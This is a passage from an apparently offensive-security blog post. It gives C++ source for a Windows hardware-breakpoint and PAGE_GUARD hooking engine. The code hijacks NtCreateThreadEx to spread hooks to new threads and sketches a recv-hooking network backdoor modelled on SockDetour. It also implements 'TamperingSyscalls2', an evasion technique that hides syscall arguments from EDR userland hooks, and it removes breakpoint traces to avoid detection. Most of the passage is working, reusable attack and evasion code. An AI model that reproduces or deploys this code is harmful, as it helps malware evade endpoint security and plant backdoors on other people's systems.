sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thd != INVALID_HANDLE_VALUE) { SetHWBP(thd, address, pos, init); CloseHandle(thd); } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); } } ``` Having hardware breakpoints set are arguably suspicious as they may indicate malicious activity (though no EDRs, to my knowledge, actively scan for them). They can be used against us as a potential IoC so we must remove their traces once we are done using them. We can implement this in our deconstructor function!! This will iterate through all threads and check if the register (&context.Dr0)[pos] points to the address at which we initially set the hardware breakpoint (pos is just an index % 4 giving us access to the context.Dr0-Dr3). We can also remove the conditions needed in the Dr7 register. We must also remember to remove our mapping entry. Therefore, our hardware breakpoint will only be present for the required duration! ```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address); ``` An example hardware breakpoint would be Sleep, where we just replace the sleep duration with 0. ```c HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0 ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution }) }; ``` We know to set RCX due to the x64 Windows four-register fast-call calling convention[1]. The first argument to the constructor is the address to break on, the second is which Dr0- 3 register to store in (note, we can only have 4 addresses to break on at one time), and the third is a lambda function which will capture by reference PEXCEPTION_POINTERS which is the information an exception handler will receive. This will ultimately let us control the flow of a program differently depending on which breakpoint was triggered. When a new thread is created, it does not inherit the associated Debug Registers set unless we somehow manage to intercept the creation of a new thread! One neat trick we can use would be to capture the actual start address and divert the new thread to create our own thread. The majority of new threads are ended up calling NtCreateThreadEx. ```c // Global Variable PVOID START_THREAD{ 0 }; // capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) { // save original thread address START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28); // set the start address to our thread address *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter); // Set required HWBP for (auto& i : HWBP_ADDRESS_MAP) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, true); } // restore execution to original thread return ((typeThreadProc)START_THREAD)(lpParameter); } ``` One limitation of this solution is that the call stack for the thread will originate in our injected DLL's HijackThread and not the original thread! Alternatively, a better solution would be to call NtCreateThreadEx ourselves but start it in a suspended state and then set the required hardware breakpoints. Then we restore execution by resuming the suspended thread with the debug registers set for this new thread. This will address another limitation of using debug registers. To call the instruction we have a breakpoint set on would trigger an infinite loop; therefore, we temporarily disable the hardware breakpoint responsible for triggering our current RIP. Then once we are done making the call, we can restore it. This will thus let us call the original function (like a trampoline). In this case, we must point our RIP to a ret gadget so that it can return and not make another syscall instruction. The 5th parameter, including and onwards, can be found pushed onto the stack at 0x8 byte intervals [2]. Our stack looks something like this when we trigger the breakpoint. ``` ___________________________ | | | 0x8 + lpBytesBuffer | |___________________________| | | | 0x8 + SizeOfStackReserve | |___________________________| | | | 0x8 + SizeOfStackCommit | |___________________________| | | | 0x8 + StackZeroBits | |___________________________| | | | 0x8 + Flags | |___________________________| | | | 0x8 + lpParameter | |___________________________| | | | 0x8 + lpStartAddress | RSP + 0x28 +-> |___________________________| | | | | | | R9 +-> (HANDLE)ProcessHandle | 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes | | RDX |-> (ACCESS_MASK) DesiredAccess | | RCX +-> (PHANDLE) hThread |___________________________| | | | 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx RSP +-> |___________________________| ``` ```c // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { // do not worry this will be optimized if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; } typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) { // temporary disable of NtCreateThreadEx in our current thread. for (auto& i : HWBP_ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, false); } } // create the original thread BUT suspended // THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001 // ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED) LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)( (PHANDLE)ExceptionInfo->ContextRecord->Rcx, (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx, (PVOID)ExceptionInfo->ContextRecord->R8, (HANDLE)ExceptionInfo->ContextRecord->R9, (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30), (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull, (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58) ); CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); // Setup required HWBP for (auto& i : HWBP_ADDRESS_MAP) { (&context.Dr0)[i.second.pos] = i.first; context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos)); context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos)); context.Dr7 |= 1ull << (2 * i.second.pos); } SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx)); // restore our HWBP on NtCreateThreadEx for (auto& i : HWBP_ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, false); } } // RAX contains the return value. ExceptionInfo->ContextRecord->Rax = status; // Set RIP to a ret gadget to avoid creating // another new thread (skip syscall instruction) ExceptionInfo->ContextRecord->Rip = FindRetAddr(ExceptionInfo->ContextRecord->Rip); }) }; ``` I share a hardware breakpoint hooking engine you can use written in C++. The example hardware breakpoint sets a breakpoint in Dr0 on the sleep function, and set's the first value (in RCX) to 0, skipping all sleeps. To set this breakpoint in all future new threads, you can use the above example, which utilizes Dr1. ```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 */ /* C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include #include #include using EXCEPTION_FUNC = std::function ; ////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK; ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map HWBP_ADDRESS_MAP{ 0 }; ////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); if (init) { (&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); } else { if ((&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = NULL; } } SetThreadContext(thd, &context); } VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thd != INVALID_HANDLE_VALUE) { SetHWBP(thd, address, pos, init); CloseHandle(thd); } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); } } ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } ////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos); HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos; }; VOID RemoveHWBPS() { SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address); } ~HWBP() { RemoveHWBPS(); } private: const uintptr_t address; UINT pos; }; // Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: { }; break; case DLL_PROCESS_DETACH: { if (handler != nullptr) RemoveVectoredExceptionHandler(handler); }; break; } return TRUE; } ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ ////////////////////////////////////////////////////////////////////////////////////////// ``` As we discussed earlier, keeping a debug register set is a bad practice. Therefore, we will complement our usage of debug registers with PAGE_GUARD hooks, allowing us to free up one of the debug registers: Dr1 (used for NtCreateThreadEx). PAGE_GUARDs are essentially one-shot memory protection that will throw an exception. They are applied to pages at the lowest level of allocation granularity present in the system ( which can sometimes prove to be a hindrance). PAGE_GUARD hooking is nothing new, but we can use it to address some of our limitations. We will initially apply our PAGE_GUARD to the address, and the PAGE_GUARD will be triggered by throwing a PAGE_GUARD_VIOLATION. VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); We can apply the same concept of mapping a lambda to trigger at a specific address. We will single-step through the function instructions on our current page while re-applying the PAGE_GUARD. This is obviously relatively slow but has the benefit of not reserving up a Debug register. For the primary reason of being slow, we opted against using them primarily. ```c typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK; std::unordered_map PG_ADDRESS_MAP{ 0 }; PG_ADDRESS_MAP[address].func = function; ``` To apply the debug register hooks to new threads, we can just copy the previous example of hooking NtCreateThreadEx but remove the loops where we disable and restore the HWBPs for our current thread. We can introduce the second code example where we do the hook mentioned above of NtCreateThreadEx with PAGE_GUARDs. As before, our deconstructor function will remove the entry in our mapping and remove the protections (if set). ```c ////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include #include #include // std::function using EXCEPTION_FUNC = std::function ; ////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK; typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK; typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map HWBP_ADDRESS_MAP{ 0 }; std::unordered_map PG_ADDRESS_MAP{ 0 }; ////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; } VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); if (init) { (&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); } else { if ((&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = NULL; } } SetThreadContext(thd, &context); } VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thd != INVALID_HANDLE_VALUE) { SetHWBP(thd, address, pos, init); CloseHandle(thd); } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); } } ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000); return 0; } ////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos); HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos; }; VOID RemoveHWBPS() { SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address); } ~HWBP() { RemoveHWBPS(); } private: const uintptr_t address; UINT pos; }; template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } { VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); PG_ADDRESS_MAP[address].func = function; } VOID RemovePGEntry() { VirtualProtect((LPVOID)address, 1, old, &old); PG_ADDRESS_MAP.erase(address); } ~PGBP() { RemovePGEntry(); } private: DWORD old; const uintptr_t address; }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) }; HWBP HWBPSleep{ (uintptr_t)&Sleep, 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) { printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx); ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution }) }; PGBP VEHNtCreateThreadEx{ (uintptr_t)GetProcAddress( GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx" ), ([&](PEXCEPTION_POINTERS ExceptionInfo) { // create a new thread suspended LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)( (PHANDLE)ExceptionInfo->ContextRecord->Rcx, (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx, (PVOID)ExceptionInfo->ContextRecord->R8, (HANDLE)ExceptionInfo->ContextRecord->R9, (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30), (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull, (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58) ); CONTEXT context{ 0 }; context.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); for (auto& i : HWBP_ADDRESS_MAP) { (&context.Dr0)[i.second.pos] = i.first; context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos)); context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos)); context.Dr7 |= 1ull << (2 * i.second.pos); } SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx)); ExceptionInfo->ContextRecord->Rax = status; ExceptionInfo->ContextRecord->Rip = FindRetAddr(ExceptionInfo->ContextRecord->Rip); }) }; Sleep(1000000); for (unsigned int i = 0; i < 2; ++i) { HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL); if (t) WaitForSingleObject(t, INFINITE); } if (handler) RemoveVectoredExceptionHandler(handler); } ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ ////////////////////////////////////////////////////////////////////////////////////////// ``` Having applied the theory to create a versatile hardware breakpoint hooking engine, we will continue to use a mixture of debug registers and PAGE_GUARDs, as shown in our previous examples, to implement a backdoor inspired by SockDetour [3] as a DLL in C++. We will set a hardware breakpoint on the recv function to accomplish this and build the required logic in the corresponding lambda. We will also apply a PAGE_GUARD to NtCreateThreadEx and use our previous technique of creating the thread in a suspended state to set the right debug registers. Despite the sluggish nature of PAGE_GUARD hooks, this should not be an issue as long as the server model does not create a new thread for every request, leading to subliminal performance. Most networking server models maintain a pool of threads that are started and initialized at the program's start. For more insight into these server models, Microsoft provides a variety of examples on Github [4]; the IOCP example is an excellent example of what a performant, scalable server model looks like for context. The start of your backdoor could look like this: HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"), GetModuleHandle(L"WS2_32.dll")),"recv"), 3, ([&](PEXCEPTION_POINTERS ExceptionInfo) { for (auto& i : ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, false); } } char verbuf[9]{ 0 }; int verbuflen{ 9 }, recvlen{ 0 }; recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf, verbuflen, MSG_PEEK); BYTE TLS[] = { 0x17, 0x03, 0x03 }; if (recvlen >= 3) { if ((memcmp(verbuf, TLS, 3) == 0))1 { MSG_AUTH msg{ 0 }; // We'll peek like SockDetour as to not eat the message recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg, sizeof(MSG_AUTH), MSG_PEEK); // Authenticate and proceed } } // Set corresponding Dr for (auto& i : ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, true); } } ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; We will finish by implementing a generic x64 userland evasion technique inspired by TamperingSyscalls, which utilizes a suitably modified version of the hardware breakpoint the engine showed earlier to hide up to 12 of the arguments of up to ANY 4 Nt syscalls at ANY one time per thread. Note that I chose not to propagate the debug register content to all the threads, as this would likely be undesirable (if desired, replace SetHWBP with SetHWBPS). I need not describe why this would be desirable and super EPIC nor delve into userland hooking as these are not the topics at hand or of concern, and they have been covered in depth several times [5]. We create a new mapping using the (address | ThreadID) as a unique key, and the value is a structure containing the function arguments. We will create a new entry in our mapping on entering the syscall and clear out the values in the registers and stack. We use single-stepping (through the trap flag) to pretend that we have more debug registers than we actually have. We CAN do this, given we know when and where we need specific actions to occur. When we hit our desired syscall address, we restore our values from the hashmap entry associated with our key. This will return the values on the stack in the registers. We then continue to single step until the return instruction, where we will stop single stepping and continue on! This ultimately allows us for typeless hooking. What is more, initially, we specified We will only hide 12 arguments, 4 from the registers and 8 from the stack. This "8" value is only arbitrary but recommended, and hiding or changing more values/arguments on the stack may produce undesirable behaviour. Our call stack should already originate from a suitable DLL, and thus you shouldn't need to call the Native functions and can call a suitable wrapper from any DLL provided you call the constructor with the Native function address in NTDLL. This is trivial and can be achieved by changing the macro: #define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions. In the example, we show it working with NtCreateThreadEx and NtCreateMutant! Make sure you are only using the 4 debug registers individually per thread. Once you are done with a specific function, you can free up the associated debug register by calling the RemoveHWBPS method. 1. If (addr == entry.first) this means we are the the mov r10, rcx instruction - We store our arguments in our hashmap entry using the key (TID | address) const auto key = (address + 0x12) | GetCurrentThreadId(); SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx; SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx; SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8; SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; SYSCALL_MAP[key].stk[idx] = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset); } - We then set these argument values to 0 (can be any other arbitrary value) ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->Rdx = 0; ExceptionInfo->ContextRecord->R8 = 0; ExceptionInfo->ContextRecord->R9 = 0; // ... - We then set the Resume Flag in bit 16 and Trap Flag in bit 8 - This will continue execution, as usual, only minimally affecting the performance. ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag 2. Keep single stepping until (addr == entry.second.sysc) - We are now at the syscall instruction and have gone past any userland hooks - We restore our arguments using the previous (TID | address) lookup key. ```c auto const key = (address | GetCurrentThreadId()); // mov rcx, r10 ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx; ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8; ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = SYSCALL_MAP[key].stk[idx]; } ``` - We will single step again. 3. We are now at (address == ai.return_addr) - We can now stop single stepping and only set the Resume Flag (not Trap Flag) - This will continue execution, as usual, only minimally affecting the performance. The previously described technique is implemented, focusing on hiding ALL arguments of the MAJORITY of Native syscalls! And so enjoy this elegant and straightforward solution where I provide the debug print statements, too, so you can see the changes being made to the stack and registers and the thought processes behind it all. ```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 */ /* C++ Generic x64 user-land evasion technique utilizing HWBP.cpp */ /* Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include #include #include ////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// // 12 - 4 = 8 - should cover most Nt functions. #define STK_ARGS 8 // Increase this value, works until ~100... typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION; typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS; ////////////////////////////////////////////////////////////////////////////////////////// /* Macros */ ////////////////////////////////////////////////////////////////////////////////////////// #define PRINT_ARGS( State, ExceptionInfo ) \ printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n", \ State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId()); \ printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx); \ printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx); \ printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8); \ printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9); \ for (UINT idx = 0; idx < STK_ARGS; idx++){ \ const size_t offset = idx * 0x8 + 0x28; \ printf("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64) \ ((ExceptionInfo)->ContextRecord->Rsp + offset)); \ } ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map SYSCALL_MAP{ 0 }; ////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); if (init) { (&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); } else { if ((&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = NULL; } } SetThreadContext(thd, &context); } // Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; } DWORD WINAPI TestThread(LPVOID lpParameter); ////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true); BYTE syscop[] = { 0x0F, 0x05 }; ADDRESS_MAP[address].syscall_addr = FindRopAddress(address, syscop, sizeof(syscop)); BYTE retnop[] = { 0xC3 }; ADDRESS_MAP[address].return_addr = FindRopAddress(address, retnop, sizeof(retnop)); }; VOID RemoveHWBPS() { SetHWBP(GetCurrentThread(), address, pos, false); } ~TS2_HWBP() { 